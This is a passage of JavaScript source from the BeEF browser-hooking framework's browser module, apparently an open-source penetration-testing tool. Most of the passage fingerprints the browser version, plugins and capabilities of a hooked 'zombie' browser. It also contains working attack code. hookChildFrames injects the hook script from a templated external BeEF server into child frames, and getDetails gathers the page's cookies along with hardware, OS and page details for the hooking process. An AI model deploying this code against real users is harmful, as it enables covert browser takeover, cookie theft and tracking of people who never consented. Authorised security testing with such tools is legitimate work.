}\n        ;\t// Firefox 11\n        if (this.isFF12()) {\n            return '12'\n        }\n        ;\t// Firefox 12\n        if (this.isFF13()) {\n            return '13'\n        }\n        ;\t// Firefox 13\n        if (this.isFF14()) {\n            return '14'\n        }\n        ;\t// Firefox 14\n        if (this.isFF15()) {\n            return '15'\n        }\n        ;\t// Firefox 15\n        if (this.isFF16()) {\n            return '16'\n        }\n        ;\t// Firefox 16\n        if (this.isFF17()) {\n            return '17'\n        }\n        ;    // Firefox 17\n        if (this.isFF18()) {\n            return '18'\n        }\n        ;    // Firefox 18\n        if (this.isFF19()) {\n            return '19'\n        }\n        ;    // Firefox 19\n        if (this.isFF20()) {\n            return '20'\n        }\n        ;    // Firefox 20\n        if (this.isFF21()) {\n            return '21'\n        }\n        ;    // Firefox 21\n        if (this.isFF22()) {\n            return '22'\n        }\n        ;   // Firefox 22\n        if (this.isFF23()) {\n            return '23'\n        }\n        ;   // Firefox 23\n        if (this.isFF24()) {\n            return '24'\n        }\n        ;   // Firefox 24\n        if (this.isFF25()) {\n            return '25'\n        }\n        ;   // Firefox 25\n        if (this.isFF26()) {\n            return '26'\n        }\n        ;   // Firefox 26\n        if (this.isFF27()) {\n            return '27'\n        }\n        ;   // Firefox 27\n        if (this.isFF28()) {\n            return '28'\n        }\n        ;   // Firefox 28\n        if (this.isFF29()) {\n            return '29'\n        }\n        ;   // Firefox 29\n        if (this.isFF30()) {\n            return '30'\n        }\n        ;   // Firefox 30\n        if (this.isFF31()) {\n            return '31'\n        }\n        ;   // Firefox 31\n        if (this.isFF32()) {\n            return '32'\n        }\n        ;   // Firefox 32\n        if (this.isFF33()) {\n            return '33'\n        }\n        ;   // Firefox 33\n        if (this.isFF34()) {\n            return '34'\n        }\n        ;   // Firefox 34\n        if (this.isFF35()) {\n            return '35'\n        }\n        ;   // Firefox 35\n        if (this.isFF36()) {\n            return '36'\n        }\n        ;   // Firefox 36\n        if (this.isFF37()) {\n            return '37'\n        }\n        ;   // Firefox 37\n        if (this.isFF38()) {\n            return '38'\n        }\n        ;   // Firefox 38\n        if (this.isFF39()) {\n            return '39'\n        }\n        ;   // Firefox 39\n        if (this.isFF40()) {\n            return '40'\n        }\n        ;   // Firefox 40\n        if (this.isFF41()) {\n            return '41'\n        }\n        ;   // Firefox 41\n        if (this.isFF42()) {\n            return '42'\n        }\n        ;   // Firefox 42\n        if (this.isFF43()) {\n            return '43'\n        }\n        ;   // Firefox 43\n        if (this.isFF44()) {\n            return '44'\n        }\n        ;   // Firefox 44\n        if (this.isFF45()) {\n            return '45'\n        }\n        ;   // Firefox 45\n        if (this.isFF46()) {\n            return '46'\n        }\n        ;   // Firefox 46\n        if (this.isFF47()) {\n            return '47'\n        }\n        ;   // Firefox 47\n        if (this.isFF48()) {\n            return '48'\n        }\n        ;   // Firefox 48\n        if (this.isFF49()) {\n            return '49'\n        }\n        ;   // Firefox 49\n        if (this.isFF50()) {\n            return '50'\n        }\n        ;   // Firefox 50\n        if (this.isFF51()) {\n            return '51'\n        }\n        ;   // Firefox 51\n        if (this.isFF52()) {\n            return '52'\n        }\n        ;   // Firefox 52\n        if (this.isFF53()) {\n            return '53'\n        }\n        ;   // Firefox 53\n        if (this.isFF54()) {\n            return '54'\n        }\n        ;   // Firefox 54\n        if (this.isFF55()) {\n            return '55'\n        }\n        ;   // Firefox 55\n        if (this.isFF56()) {\n            return '56'\n        }\n        ;   // Firefox 56\n        if (this.isFF57()) {\n            return '57'\n        }\n        ;   // Firefox 57\n        if (this.isFF58()) {\n            return '58'\n        }\n        ;   // Firefox 58\n        if (this.isFF59()) {\n            return '59'\n        }\n        ;   // Firefox 59\n        if (this.isFF60()) {\n            return '60'\n        }\n        ;   // Firefox 60\n        if (this.isFF61()) {\n            return '61'\n        }\n        ;   // Firefox 61\n        if (this.isFF62()) {\n            return '62'\n        }\n        ;   // Firefox 62\n        if (this.isFF63()) {\n            return '63'\n        }\n        ;   // Firefox 63\n        if (this.isFF64()) {\n            return '64'\n        }\n        ;   // Firefox 64\n        if (this.isFF65()) {\n            return '65'\n        }\n        ;   // Firefox 65\n        if (this.isFF66()) {\n            return '66'\n        }\n        ;   // Firefox 66\n        if (this.isFF67()) {\n            return '67'\n        }\n        ;   // Firefox 67\n        if (this.isFF68()) {\n            return '68'\n        }\n        ;   // Firefox 68\n        if (this.isFF69()) {\n            return '69'\n        }\n        ;   // Firefox 69\n        if (this.isFF70()) {\n            return '70'\n        }\n        ;   // Firefox 70\n        if (this.isFF71()) {\n            return '71'\n        }\n        ;   // Firefox 71\n        if (this.isFF72()) {\n            return '72'\n        }\n        ;   // Firefox 72\n        if (this.isFF73()) {\n            return '73'\n        }\n        ;   // Firefox 73\n        if (this.isFF74()) {\n            return '74'\n        }\n        ;   // Firefox 74\n        if (this.isFF75()) {\n            return '75'\n        }\n        ;   // Firefox 75\n        if (this.isFF76()) {\n            return '76'\n        }\n        ;   // Firefox 76\n        if (this.isFF77()) {\n            return '77'\n        }\n        ;   // Firefox 77\n        if (this.isFF78()) {\n            return '78'\n        }\n        ;   // Firefox 78\n        if (this.isFF79()) {\n            return '79'\n        }\n        ;   // Firefox 79\n        if (this.isFF80()) {\n            return '80'\n        }\n        ;   // Firefox 80\n        if (this.isFF81()) {\n            return '81'\n        }\n        ;   // Firefox 81\n        if (this.isFF82()) {\n            return '82'\n        }\n        ;   // Firefox 82\n        if (this.isFF83()) {\n            return '83'\n        }\n        ;   // Firefox 83\n        if (this.isFF84()) {\n            return '84'\n        }\n        ;   // Firefox 84\n        if (this.isFF85()) {\n            return '85'\n        }\n        ;   // Firefox 85\n        if (this.isFF86()) {\n            return '86'\n        }\n        ;   // Firefox 86\n        if (this.isFF87()) {\n            return '87'\n        }\n        ;   // Firefox 87\n        if (this.isFF88()) {\n            return '88'\n        }\n        ;   // Firefox 88\n        if (this.isFF89()) {\n            return '89'\n        }\n        ;   // Firefox 89\n        if (this.isFF90()) {\n            return '90'\n        }\n        ;   // Firefox 90\n        if (this.isFF91()) {\n            return '91'\n        }\n        ;   // Firefox 91\n        if (this.isFF92()) {\n            return '92'\n        }\n        ;   // Firefox 92\n        if (this.isFF93()) {\n            return '93'\n        }\n        ;   // Firefox 93\n        if (this.isFF94()) {\n            return '94'\n        }\n        ;   // Firefox 94\n        if (this.isFF95()) {\n            return '95'\n        }\n        ;   // Firefox 95\n        if (this.isFF96()) {\n            return '96'\n        }\n        ;   // Firefox 96\n        if (this.isFF97()) {\n            return '97'\n        }\n        ;   // Firefox 97\n        if (this.isFF98()) {\n            return '98'\n        }\n        ;   // Firefox 98\n        if (this.isFF99()) {\n            return '99'\n        }\n        ;   // Firefox 99\n\n        if (this.isIE6()) {\n            return '6'\n        }\n        ;\t// Internet Explorer 6\n        if (this.isIE7()) {\n            return '7'\n        }\n        ;\t// Internet Explorer 7\n        if (this.isIE8()) {\n            return '8'\n        }\n        ;\t// Internet Explorer 8\n        if (this.isIE9()) {\n            return '9'\n        }\n        ;\t// Internet Explorer 9\n        if (this.isIE10()) {\n            return '10'\n        }\n        ;\t// Internet Explorer 10\n        if (this.isIE11()) {\n            return '11'\n        }\n        ;   // Internet Explorer 11\n\n        if (this.isEdge()) {\n            return '1'\n        }\n        ;   // Microsoft Edge\n\n        if (this.isEpi()) {\n            // believe the UserAgent string for version info - until whenever\n            var epiphanyRe = /Epiphany\\/(\\d+)/;\n            var versionDetails = epiphanyRe.exec( beef.browser.getBrowserReportedName());\n            if (versionDetails.length > 1) {\n                return versionDetails[1];\n            } else {\n                return \"UNKNOWN\"; // returns from here or it may take Safari version details\n            }\n        }\n        ;                       // Epiphany\n\n        if (this.isS4()) {\n            return '4'\n        }\n        ;\t// Safari 4\n        if (this.isS5()) {\n            return '5'\n        }\n        ;\t// Safari 5\n        if (this.isS6()) {\n            return '6'\n        }\n        ;\t// Safari 6\n\n        if (this.isS7()) {\n            return '7'\n        }\n        ;\t// Safari 7\n        if (this.isS8()) {\n            return '8'\n        }\n        ;       // Safari 8\n\n        if (this.isO9_52()) {\n            return '9.5'\n        }\n        ;\t// Opera 9.5x\n        if (this.isO9_60()) {\n            return '9.6'\n        }\n        ;\t// Opera 9.6\n        if (this.isO10()) {\n            return '10'\n        }\n        ;\t// Opera 10.xx\n        if (this.isO11()) {\n            return '11'\n        }\n        ;\t// Opera 11.xx\n        if (this.isO12()) {\n            return '12'\n        }\n        ;\t// Opera 12.xx\n\n        // platform.js\n        try {\n          var version = platform.version;\n          if (!!version)\n            return version;\n        } catch (e) {}\n\n        return 'UNKNOWN';\t\t\t\t// Unknown UA\n    },\n\n    /**\n     * Returns the type of user agent by hooked browser.\n     * @return: {String} User agent software.\n     *\n     * @example: beef.browser.getBrowserName()\n     */\n    getBrowserName: function () {\n        if (this.isEdge()) {\n            return 'E'\n        }\n        ;       // Microsoft Edge any version\n        if (this.isC()) {\n            return 'C'\n        }\n        ;   // Chrome any version\n        if (this.isFF()) {\n            return 'FF'\n        }\n        ;\t\t// Firefox any version\n        if (this.isIE()) {\n            return 'IE'\n        }\n        ;\t\t// Internet Explorer any version\n        if (this.isO()) {\n            return 'O'\n        }\n        ;\t\t// Opera any version\n        if (this.isEpi()) {\n            return 'EP'\n        }\n        ;\t\t\t// Epiphany any version\n        if (this.isS()) {\n            return 'S'\n        }\n        ;\t\t// Safari any version\n        if (this.isA()) {\n            return 'A'\n        }\n        ;               // Avant any version\n        if (this.isMidori()) {\n            return 'MI'\n        }\n        ;               // Midori any version\n        if (this.isOdyssey()) {\n            return 'OD'\n        }\n        ;               // Odyssey any version\n        if (this.isBrave()) {\n            return 'BR'\n        }\n        ;               // Brave any version\n        return 'UNKNOWN';\t// Unknown UA\n    },\n\n    /**\n     * Hooks all child frames in the current window\n     * Restricted by same-origin policy\n     */\n    hookChildFrames: function () {\n\n        // create script object\n        var script = document.createElement('script');\n        script.type = 'text/javascript';\n        script.src = '<%== @beef_proto %>://<%== @beef_host %>:<%== @beef_port %><%== @hook_file %>';\n\n        // loop through child frames\n        for (var i = 0; i < self.frames.length; i++) {\n            try {\n                // append hook script\n                self.frames[i].document.body.appendChild(script);\n                beef.debug(\"Hooked child frame [src:\" + self.frames[i].window.location.href + \"]\");\n            } catch (e) {\n                // warn on cross-origin\n                beef.debug(\"Hooking child frame failed: \" + e.message);\n            }\n        }\n    },\n\n    /**\n     * Checks if the zombie has flash installed and enabled.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if(beef.browser.hasFlash()) { ... }\n     */\n    hasFlash: function () {\n      if (!beef.browser.isIE()) {\n        return (navigator.mimeTypes && navigator.mimeTypes[\"application/x-shockwave-flash\"]);\n      }\n\n      if (!!navigator.plugins) {\n        return (navigator.plugins[\"Shockwave Flash\"] != undefined);\n      }\n\n      // IE\n      var flash_versions = 12;\n      if (window.ActiveXObject != null) {\n        for (x = 2; x <= flash_versions; x++) {\n          try {\n            Flash = eval(\"new ActiveXObject('ShockwaveFlash.ShockwaveFlash.\" + x + \"');\");\n            if (Flash) {\n              return true;\n            }\n          } catch (e) {\n            beef.debug(\"Creating Flash ActiveX object failed: \" + e.message);\n          }\n        }\n      }\n\n      return false;\n    },\n\n    /**\n     * Checks if the zombie has the QuickTime plugin installed.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if ( beef.browser.hasQuickTime() ) { ... }\n     */\n    hasQuickTime: function () {\n        if (!!navigator.plugins) {\n            for (i = 0; i < navigator.plugins.length; i++) {\n                if (navigator.plugins[i].name.indexOf(\"QuickTime\") >= 0) {\n                    return true;\n                }\n            }\n        }\n\n        // IE\n        try {\n          var qt_test = new ActiveXObject('QuickTime.QuickTime');\n          if (qt_test) {\n            return true;\n          }\n        } catch (e) {\n          beef.debug(\"Creating QuickTime ActiveX object failed: \" + e.message);\n        }\n\n        return false;\n    },\n\n    /**\n     * Checks if the zombie has the RealPlayer plugin installed.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if ( beef.browser.hasRealPlayer() ) { ... }\n     */\n    hasRealPlayer: function () {\n\n        if (!!navigator.plugins) {\n          for (i = 0; i < navigator.plugins.length; i++) {\n            if (navigator.plugins[i].name.indexOf(\"RealPlayer\") >= 0) {\n              return true;\n            }\n          }\n        }\n\n        // IE\n        var definedControls = [\n          'RealPlayer',\n          'rmocx.RealPlayer G2 Control',\n          'rmocx.RealPlayer G2 Control.1',\n          'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',\n          'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'\n        ];\n\n        for (var i = 0; i < definedControls.length; i++) {\n          try {\n            var rp_test = new ActiveXObject(definedControls[i]);\n            if (rp_test) {\n              return true;\n            }\n          } catch (e) {\n            beef.debug(\"Creating RealPlayer ActiveX object failed: \" + e.message);\n          }\n        }\n\n        return false;\n    },\n\n    /**\n     * Checks if the zombie has the Windows Media Player plugin installed.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if ( beef.browser.hasWMP() ) { ... }\n     */\n    hasWMP: function () {\n      if (!!navigator.plugins) {\n        for (i = 0; i < navigator.plugins.length; i++) {\n          if (navigator.plugins[i].name.indexOf(\"Windows Media Player\") >= 0) {\n            return true;\n          }\n        }\n      }\n\n      // IE\n      try {\n        var wmp_test = new ActiveXObject('WMPlayer.OCX');\n        if (wmp_test) {\n          return true;\n        }\n      } catch (e) {\n        beef.debug(\"Creating WMP ActiveX object failed: \" + e.message);\n      }\n\n      return false;\n    },\n\n    /**\n     *  Checks if VLC is installed\n     *  @return: {Boolean} true or false\n     **/\n    hasVLC: function () {\n      if (beef.browser.isIE() || beef.browser.isEdge()) {\n        try {\n          control = new ActiveXObject(\"VideoLAN.VLCPlugin.2\");\n          return true;\n        } catch (e) {\n          beef.debug(\"Creating VLC ActiveX object failed: \" + e.message);\n        }\n      } else {\n        for (i = 0; i < navigator.plugins.length; i++) {\n          if (navigator.plugins[i].name.indexOf(\"VLC\") >= 0) {\n            return true;\n          }\n        }\n      }\n      return false;\n    },\n\n    /**\n     * Checks if the zombie has Java enabled.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if(beef.browser.javaEnabled()) { ... }\n     */\n    javaEnabled: function () {\n      return navigator.javaEnabled();\n    },\n\n    /**\n     * Checks if the Phonegap API is available from the hooked origin.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if(beef.browser.hasPhonegap()) { ... }\n     */\n    hasPhonegap: function () {\n        var result = false;\n\n        try {\n            if (!!device.phonegap || !!device.cordova) result = true; else result = false;\n        }\n        catch (e) {\n            result = false;\n        }\n        return result;\n    },\n\n    /**\n     * Checks if the browser supports CORS\n     * @return: {Boolean} true or false.\n     *\n     * @example: if(beef.browser.hasCors()) { ... }\n     */\n    hasCors: function () {\n        if ('withCredentials' in new XMLHttpRequest())\n            return true;\n        else if (typeof XDomainRequest !== \"undefined\")\n            return true;\n        else\n            return false;\n    },\n\n    /**\n     * Checks if the zombie has Java installed and enabled.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if(beef.browser.hasJava()) { ... }\n     */\n    hasJava: function () {\n        if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) {\n          return true;\n        } else {\n          return false;\n        }\n    },\n\n    /**\n     * Checks if the zombie has VBScript enabled.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if(beef.browser.hasVBScript()) { ... }\n     */\n    hasVBScript: function () {\n        if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {\n            return true;\n        } else {\n            return false;\n        }\n    },\n\n    /**\n     * Returns the list of plugins installed in the browser.\n     */\n    getPlugins: function () {\n\n        var results;\n\n        function unique(array) {\n          return $j.grep(array, function(el, index) {\n            return index === $j.inArray(el, array);\n          });\n        }\n\n        // Things lacking navigator.plugins\n        if (!navigator.plugins) \n          return this.getPluginsIE();\n\n        // All other browsers that support navigator.plugins\n        if (navigator.plugins && navigator.plugins.length > 0) {\n            results = new Array();\n            for (var i = 0; i < navigator.plugins.length; i++) {\n\n                // Firefox returns exact plugin versions\n                if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;\n\n                // Webkit and Presto (Opera)\n                // Don't support the version attribute\n                // Sometimes store the version in description (Real, Adobe)\n                else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;\n            }\n            results = unique(results).toString();\n            \n            // All browsers that don't support navigator.plugins\n        } else {\n            results = new Array();\n            //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726\n            // On linux sistem the \"version\" slot is empty so I'll attach \"description\" after version\n            var plugins = {\n\n                'AdobeAcrobat': {\n                    'control': 'Adobe Acrobat',\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins[\"Adobe Acrobat\"][\"description\"];\n                            return 'Adobe Acrobat Version  ' + version; //+ \" description \"+ filename;\n\n                        }\n                        catch (e) {\n                        }\n\n\n                    }},\n                'Flash': {\n                    'control': 'Shockwave Flash',\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins[\"Shockwave Flash\"][\"description\"];\n                            return 'Flash Player Version ' + version; //+ \" description \"+ filename;\n                        }\n\n                        catch (e) {\n                        }\n                    }},\n                'Google_Talk_Plugin_Accelerator': {\n                    'control': 'Google Talk Plugin Video Accelerator',\n                    'return': function (control) {\n\n                        try {\n                            version = navigator.plugins['Google Talk Plugin Video Accelerator'][\"description\"];\n                            return 'Google Talk Plugin Video Accelerator Version ' + version; //+ \" description \"+ filename;\n                        }\n                        catch (e) {\n                        }\n                    }},\n                'Google_Talk_Plugin': {\n                    'control': 'Google Talk Plugin',\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins['Google Talk Plugin'][\"description\"];\n                            return 'Google Talk Plugin Version ' + version;// \" description \"+ filename;\n                        }\n                        catch (e) {\n                        }\n                    }},\n                'Facebook_Video_Calling_Plugin': {\n                    'control': 'Facebook Video Calling Plugin',\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins[\"Facebook Video Calling Plugin\"][\"description\"];\n                            return 'Facebook Video Calling Plugin Version ' + version;//+ \" description \"+ filename;\n                        }\n                        catch (e) {\n                        }\n                    }},\n                'Google_Update': {\n                    'control': 'Google Update',\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins[\"Google Update\"][\"description\"];\n                            return 'Google Update Version ' + version//+ \" description \"+ filename;\n                        }\n                        catch (e) {\n                        }\n                    }},\n                'Windows_Activation_Technologies': {\n                    'control': 'Windows Activation Technologies',\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins[\"Windows Activation Technologies\"][\"description\"];\n                            return 'Windows Activation Technologies Version ' + version;//+ \" description \"+ filename;\n                        }\n                        catch (e) {\n                        }\n\n                    }},\n                'VLC_Web_Plugin': {\n                    'control': 'VLC Web Plugin',\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins[\"VLC Web Plugin\"][\"description\"];\n                            return 'VLC Web Plugin Version ' + version;//+ \" description \"+ filename;\n                        }\n                        catch (e) {\n                        }\n                    }},\n                'Google_Earth_Plugin': {\n                    'control': 'Google Earth Plugin',\n\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins['Google Earth Plugin'][\"description\"];\n                            return 'Google Earth Plugin Version ' + version;//+ \" description \"+ filename;\n                        }\n                        catch (e) {\n                        }\n                    }},\n                'FoxitReader_Plugin': {\n                    'control': 'FoxitReader Plugin',\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];\n                            return 'FoxitReader Plugin Version ' + version;\n                        } catch (e) {\n                        }\n                    }}\n            };\n\n            var c = 0;\n            for (var i in plugins) {\n                //each element od plugins\n                var control = plugins[i]['control'];\n                try {\n                    var version = plugins[i]['return'](control);\n                    if (version) {\n                        results[c] = version;\n                        c = c + 1;\n                    }\n                }\n                catch (e) {\n                }\n\n            }\n        }\n        // Return results\n        return results;\n    },\n\n    /**\n     * Returns a list of plugins detected by IE. This is a hack because IE doesn't\n     * support navigator.plugins\n     */\n    getPluginsIE: function () {\n        var results = '';\n        var plugins = {\n            'AdobePDF6': {\n                'control': 'PDF.PdfCtrl',\n            'return': function (control) {\n                version = control.getVersions().split(',');\n                version = version[0].split('=');\n                return 'Acrobat Reader v' + parseFloat(version[1]);\n            }},\n            'AdobePDF7': {\n                'control': 'AcroPDF.PDF',\n                'return': function (control) {\n                    version = control.getVersions().split(',');\n                    version = version[0].split('=');\n                    return 'Acrobat Reader v' + parseFloat(version[1]);\n                }},\n            'Flash': {\n                'control': 'ShockwaveFlash.ShockwaveFlash',\n                'return': function (control) {\n                    version = control.getVariable('$version').substring(4);\n                    return 'Flash Player v' + version.replace(/,/g, \".\");\n                }},\n            'Quicktime': {\n                'control': 'QuickTime.QuickTime',\n                'return': function (control) {\n                    return 'QuickTime Player';\n                }},\n            'RealPlayer': {\n                'control': 'RealPlayer',\n                'return': function (control) {\n                    version = control.getVersionInfo();\n                    return 'RealPlayer v' + parseFloat(version);\n                }},\n            'Shockwave': {\n                'control': 'SWCtl.SWCtl',\n                'return': function (control) {\n                    version = control.ShockwaveVersion('').split('r');\n                    return 'Shockwave v' + parseFloat(version[0]);\n                }},\n            'WindowsMediaPlayer': {\n                'control': 'WMPlayer.OCX',\n                'return': function (control) {\n                    return 'Windows Media Player v' + parseFloat(control.versionInfo);\n                }},\n            'FoxitReaderPlugin': {\n                'control': 'FoxitReader.FoxitReaderCtl.1',\n                'return': function (control) {\n                    return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);\n                }}\n        };\n        if (window.ActiveXObject) {\n            var j = 0;\n            for (var i in plugins) {\n                var control = null;\n                var version = null;\n                try {\n                    control = new ActiveXObject(plugins[i]['control']);\n                } catch (e) {\n                }\n                if (control) {\n                    if (j != 0)\n                        results += ', ';\n                    results += plugins[i]['return'](control);\n                    j++;\n                }\n            }\n        }\n        return results;\n    },\n\n    /**\n     * Returns zombie browser window size.\n     * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow\n     */\n    getWindowSize: function () {\n        var myWidth = 0, myHeight = 0;\n        if (typeof( window.innerWidth ) == 'number') {\n            // Non-IE\n            myWidth = window.innerWidth;\n            myHeight = window.innerHeight;\n        } else if (document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight )) {\n            // IE 6+ in 'standards compliant mode'\n            myWidth = document.documentElement.clientWidth;\n            myHeight = document.documentElement.clientHeight;\n        } else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) {\n            // IE 4 compatible\n            myWidth = document.body.clientWidth;\n            myHeight = document.body.clientHeight;\n        }\n        return {\n            width: myWidth,\n            height: myHeight\n        }\n    },\n\n    /**\n     * Construct hash from browser details. This function is used to grab the browser details during the hooking process\n     */\n    getDetails: function () {\n        var details = new Array();\n\n        var browser_name = beef.browser.getBrowserName();\n        var browser_version = beef.browser.getBrowserVersion();\n        var browser_engine = beef.browser.getBrowserEngine();\n        var browser_reported_name = beef.browser.getBrowserReportedName();\n        var browser_language = beef.browser.getBrowserLanguage();\n        var page_title = (document.title) ? document.title : \"Unknown\";\n        var origin = (window.origin) ? window.origin : \"Unknown\";\n        var page_uri = (document.location.href) ? document.location.href : \"Unknown\";\n        var page_referrer = (document.referrer) ? document.referrer : \"Unknown\";\n        var page_hostname = (document.location.hostname) ? document.location.hostname : \"Unknown\";\n        var default_port = \"\";\n        switch (document.location.protocol) {\n        case \"http:\":\n            var default_port = \"80\";\n            break;\n        case \"https:\":\n            var default_port = \"443\";\n            break;\n        }\n        var page_hostport = (document.location.port) ? document.location.port : default_port;\n        var browser_plugins = beef.browser.getPlugins();\n        var date_stamp = new Date().toString();\n        var os_name = beef.os.getName();\n        var os_family = beef.os.getFamily();\n        var os_version = beef.os.getVersion();\n        var os_arch = beef.os.getArch();\n        var default_browser = beef.os.getDefaultBrowser();\n        var hw_type = beef.hardware.getName();\n        var battery_details = beef.hardware.getBatteryDetails();\n        try {\n          var battery_charging_status = battery_details.chargingStatus;\n          var battery_level = battery_details.batteryLevel;\n          var battery_charging_time = battery_details.chargingTime;\n          var battery_discharging_time = battery_details.dischargingTime;\n        } catch(e) {}\n        var memory = beef.hardware.getMemory();\n        var cpu_arch = beef.hardware.getCpuArch();\n        var cpu_cores = beef.hardware.getCpuCores();\n        var gpu_details = beef.hardware.getGpuDetails();\n        try {\n          var gpu = gpu_details.gpu;\n          var gpu_vendor = gpu_details.vendor;\n        } catch(e) {}\n        var touch_enabled = (beef.hardware.isTouchEnabled()) ? \"Yes\" : \"No\";\n        var browser_platform = (typeof(navigator.platform) != \"undefined\" && navigator.platform != \"\") ? navigator.platform : 'Unknown';\n        var screen_size = beef.hardware.getScreenSize();\n        try {\n          var screen_width = screen_size.width;\n          var screen_height = screen_size.height;\n          var screen_colordepth = screen_size.colordepth;\n        } catch(e) {}\n        var window_size = beef.browser.getWindowSize();\n        try {\n          window_width = window_size.width;\n          window_height = window_size.height;\n        } catch(e) {}\n        var vbscript_enabled = (beef.browser.hasVBScript()) ? \"Yes\" : \"No\";\n        var has_flash = (beef.browser.hasFlash()) ? \"Yes\" : \"No\";\n        var has_silverlight = (beef.browser.hasSilverlight()) ? \"Yes\" : \"No\";\n        var has_phonegap = (beef.browser.hasPhonegap()) ? \"Yes\" : \"No\";\n        var has_googlegears = (beef.browser.hasGoogleGears()) ? \"Yes\" : \"No\";\n        var has_web_socket = (beef.browser.hasWebSocket()) ? \"Yes\" : \"No\";\n        var has_web_worker = (beef.browser.hasWebWorker()) ? \"Yes\" : \"No\";\n        var has_web_gl = (beef.browser.hasWebGL()) ? \"Yes\" : \"No\";\n        var has_webrtc = (beef.browser.hasWebRTC()) ? \"Yes\" : \"No\";\n        var has_activex = (beef.browser.hasActiveX()) ? \"Yes\" : \"No\";\n        var has_quicktime = (beef.browser.hasQuickTime()) ? \"Yes\" : \"No\";\n        var has_realplayer = (beef.browser.hasRealPlayer()) ? \"Yes\" : \"No\";\n        var has_wmp = (beef.browser.hasWMP()) ? \"Yes\" : \"No\";\n        var has_vlc = (beef.browser.hasVLC()) ? \"Yes\" : \"No\";\n\n        try {\n            var cookies = document.cookie;\n            if (cookies) details['browser.window.cookies'] = cookies;\n        } catch (e) {\n            beef.debug(\"Cookies can't be read. The hooked origin is most probably using HttpOnly.\");\n            details['browser.window.cookies'] = '';\n        }\n\n        if (browser_name) details['browser.name'] = browser_name;\n        if (browser_version) details['browser.version'] = browser_version;\n        if (browser_engine) details['browser.engine'] = browser_engine;\n        if (browser_reported_name) details['browser.name.reported'] = browser_reported_name;\n        if (browser_platform) details['browser.platform'] = browser_platform;\n        if (browser_language) details['browser.language'] = browser_language;\n        if (browser_plugins) details['browser.plugins'] = browser_plugins;\n\n        if (page_title) details['browser.window.title'] = page_title;\n        if (origin) details['browser.window.origin'] = origin;\n        if (page_hostname) details['browser.window.hostname'] = page_hostname;\n        if (page_hostport) details['browser.window.hostport'] = page_hostport;\n        if (page_uri) details['browser.window.uri'] = page_uri;\n        if (page_referrer) details['browser.window.referrer'] = page_referrer;\n        if (window_width) details['browser.window.size.width'] = window_width;\n        if (window_height) details['browser.window.size.height'] = window_height;\n        if (date_stamp) details['browser.date.datestamp'] = date_stamp;\n\n        if (os_name) details['host.os.name'] = os_name;\n        if (os_family) details['host.os.family'] = os_family;\n        if (os_version) details['host.os.version'] = os_version;\n        if (os_arch) details['host.os.arch'] = os_arch;\n\n        if (default_browser) details['host.software.defaultbrowser'] = default_browser;\n\n        if (hw_type) details['hardware.type'] = hw_type;\n        if (memory) details['hardware.memory'] = memory;\n        if (gpu) details['hardware.gpu'] = gpu;\n        if (gpu_vendor) details['hardware.gpu.vendor'] = gpu_vendor;\n        if (cpu_arch) details['hardware.cpu.arch'] = cpu_arch;\n        if (cpu_cores) details['hardware.cpu.cores'] = cpu_cores;\n\n        if (battery_charging_status) details['hardware.battery.chargingstatus'] = battery_charging_status;\n        if (battery_level) details['hardware.battery.level'] = battery_level;\n        if (battery_charging_time) details['hardware.battery.chargingtime'] = battery_charging_time;\n        if (battery_discharging_time) details['hardware.battery.dischargingtime'] = battery_discharging_time;\n\n        if (screen_width) details['hardware.screen.size.width'] = screen_width;\n        if (screen_height) details['hardware.screen.size.height'] = screen_height;\n        if (screen_colordepth) details['hardware.screen.colordepth'] = screen_colordepth;\n        if (touch_enabled) details['hardware.screen.touchenabled'] = touch_enabled;\n\n        if (vbscript_enabled) details['browser.capabilities.vbscript'] = vbscript_enabled;\n        if (has_flash) details['browser.capabilities.flash'] = has_flash;\n        if (has_silverlight) details['browser.capabilities.silverlight'] = has_silverlight;\n        if (has_phonegap) details['browser.capabilities.phonegap'] = has_phonegap;\n        if (has_web_socket) details['browser.capabilities.websocket'] = has_web_socket;\n        if (has_webrtc) details['browser.capabilities.webrtc'] = has_webrtc;\n        if (has_web_worker) details['browser.capabilities.webworker'] = has_web_worker;\n        if (has_web_gl) details['browser.capabilities.webgl'] = has_web_gl;\n        if (has_googlegears) details['browser.capabilities.googlegears'] = has_googlegears;\n        if (has_activex) details['browser.capabilities.activex'] = has_activex;\n        if (has_quicktime) details['browser.capabilities.quicktime'] = has_quicktime;\n        if (has_realplayer) details['browser.capabilities.realplayer'] = has_realplayer;\n        if (has_wmp) details['browser.capabilities.wmp'] = has_wmp;\n        if (has_vlc) details['browser.capabilities.vlc'] = has_vlc;\n\n        return details;\n    },\n\n    /**\n     * Returns boolean value depending on whether the browser supports ActiveX\n     */\n    hasActiveX: function () {\n        return !!window.ActiveXObject;\n    },\n\n    /**\n     * Returns boolean value depending on whether the browser supports WebRTC\n     */\n    hasWebRTC: function () {\n        return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);\n    },\n\n    /**\n     * Returns boolean value depending on whether the browser supports Silverlight\n     */\n    hasSilverlight: function () {\n        